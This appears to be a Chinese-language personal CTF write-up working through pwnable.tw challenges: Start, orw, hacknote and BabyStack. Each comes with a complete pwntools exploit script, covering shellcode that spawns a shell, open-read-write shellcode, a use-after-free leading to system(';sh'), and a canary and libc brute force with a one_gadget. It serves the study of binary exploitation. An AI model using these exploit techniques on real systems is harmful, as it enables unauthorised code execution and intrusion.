某个大佬说过,pwnable.tw的题目rank比较高,要把这里的题目都刷一遍,才算是有基础可以进行漏洞挖掘,学pwn也快一年了,今天开始慢慢地把这里的题目一一进行复现,然后再去学习漏洞挖掘的相关知识,同时这里题目质量高,CTF的帮助应该也很大 ,加油吧,👶还期待着成为👴的那天
Start
这题在buu上做过,不细说了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote("chall.pwnable.tw",10000)
p.recvuntil("Let's start the CTF:") payload = 'a'*0x14 + p32(0x08048087) p.send(payload) addr = u32(p.recv(4)) + 0x14 log.info(hex(addr)) shellcode =''' xor eax,eax xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx mov al,0xB int 0x80 ''' shellcode = 'a'*0x14 + p32(addr) + asm(shellcode) p.send(shellcode) p.interactive()
|
orw
image-20211109203654763
checksec一下,32位,只开了Canary
image-20211109203821716
image-20211109203905145
程序很简单,开了个沙箱,然后就是输入shellcode,并且帮你执行。沙箱允许执行open、read、write
image-20211109204349251
image-20211109204410933
写入的地址也是可写可执行的,所以直接写入orw的shellcode执行即可,但是要注意,flag在/home/orw/flag,然后为了四字节对齐,可以写两个0x2f,毕竟两个//这个是没有影响的
image-20211109205838679
成功!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context(os = 'linux',arch = 'i386',log_level = 'debug') p = remote("chall.pwnable.tw",10001) p.recvuntil("Give my your shellcode:") shellcode = asm( ''' push 0x0; push 0x67616c66; push 0x2f77726f; push 0x2f2f656d; push 0x6f682f2f; mov ebx,esp; xor ecx,ecx; xor edx,edx; mov eax,0x5; int 0x80
mov ebx,eax; mov eax,0x3; mov ecx,esp; mov edx,0x50; int 0x80
mov eax,0x4; mov ebx,0x1; int 0x80 ''' ) p.send(shellcode) p.interactive()
|
hacknote
这题在BUU上也做过了,直接贴wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
from pwn import * context(arch = 'i386',os = 'linux',log_level = 'debug') elf = ELF("./hacknote") libc = ELF("./libc_32.so.6") p = remote("chall.pwnable.tw", 10102) def debug(): gdb.attach(p,"b main")
def add(size,content): p.sendlineafter("Your choice :",'1') p.recvuntil("Note size :") p.sendline(str(size)) p.recvuntil("Content :") p.send(content) def show(idx): p.sendlineafter("Your choice :",'3') p.recvuntil("Index :") p.sendline(str(idx))
def free(idx): p.sendlineafter("Your choice :",'2') p.recvuntil("Index :") p.sendline(str(idx))
read_got = elf.got['read'] puts = 0x804862b add(0x18,"aaaa") add(0x18,"bbbb") free(0) free(1) add(0x8, p32(puts) + p32(read_got)) show(0) read = u32(p.recv(4)) system = read - libc.symbols["read"] + libc.symbols["system"] success(hex(system)) free(2) add(8, p32(system) + ";sh\x00") show(0) p.interactive()
|
BabyStack
checksec一下,64位,保护全开。
image-20220314171650601
程序只有两个输入点,一检查全都是不够溢出的,所以我猜测可能是栈比较近,可以引发strcpy不被 ‘\x00’ 截断,从而不断复制,导致溢出覆盖。
image-20220314171712265
image-20220314171722608
在gdb里调试了下,deadbeef是在login里面进行输入的内容,而8个b则是在copy功能里面输入的,可以看见,这两个输入是存在连续空间的,所以是可以在login里面输入好数据,让strcpy一直不断往下的复制,从而覆盖到返回地址。这里填入的deadbeef是通过’\x00’截断的,但是这显然是无用的,因为就算覆盖了返回地址,但是我们缺少了libc地址,也无法成功getshell,所以需要泄露地址,此时的login函数里面的漏洞就派上用场,可以进行由我们自主控制长度的进行不断地爆破,从而可以逐字节爆破存放在栈上的libc地址。
image-20220313215126094
image-20220313225030746
image-20220313225146974
这里是断点在strncmp函数处,两个红框是要比对的内容,下面的0x7f打头是要爆破的内容,我们自己在输入的字符串后面加’\x00’进行截断。
image-20220314162654799
最后就是这个memcmp,我一直不知道是干嘛的,直到触发了canary才反应过来去看下ida代码,发现这里是全程序中唯一个能触发出canary检查的地方,所以之前那个随机数也是要爆破出来的,之前一直以为不要爆破,只要爆破libc地址即可。
image-20220314171506095
本地打通,远程就不打了,因为远程卡,爆破比较多,很慢。远程只要注意把one_gadget换成给的libc的最后一个偏移即可
image-20220314171309899
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
|
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF("./babystack") libc = elf.libc p = process('./babystack')
def login(rand_num): p.recvuntil('>> ') p.sendline('1') p.recvuntil("Your passowrd :") p.send(rand_num) def copy(content): p.recvuntil('>> ') p.sendline('3') p.recvuntil("Copy :") p.send(content) def logout(): p.recvuntil('>> ') p.sendline('1')
rand = '' for i in range(16): for j in range(1,256): login(rand + chr(j) + '\x00') if "Success" in p.recvline(): rand += chr(j) logout() break print(rand)
login('\x00' + 'a'*0x47) copy('b'*0x39) logout() string = 'a'*0x8 for i in range(6): for j in range(1,256): login(string + chr(j) + '\x00') if "Success" in p.recvline(): string += chr(j) logout() break libc = u64(string[-6:].ljust(8, '\x00')) - libc.sym["_IO_file_setbuf"] - 9 print(hex(libc))
ogg = libc + 0xf1247 login('\x00' + 'a'*0x3f + rand + 'a'*0x18 + p64(ogg)) copy('b'*0x39) p.recvuntil('>> ') p.sendline('2')
p.interactive()
|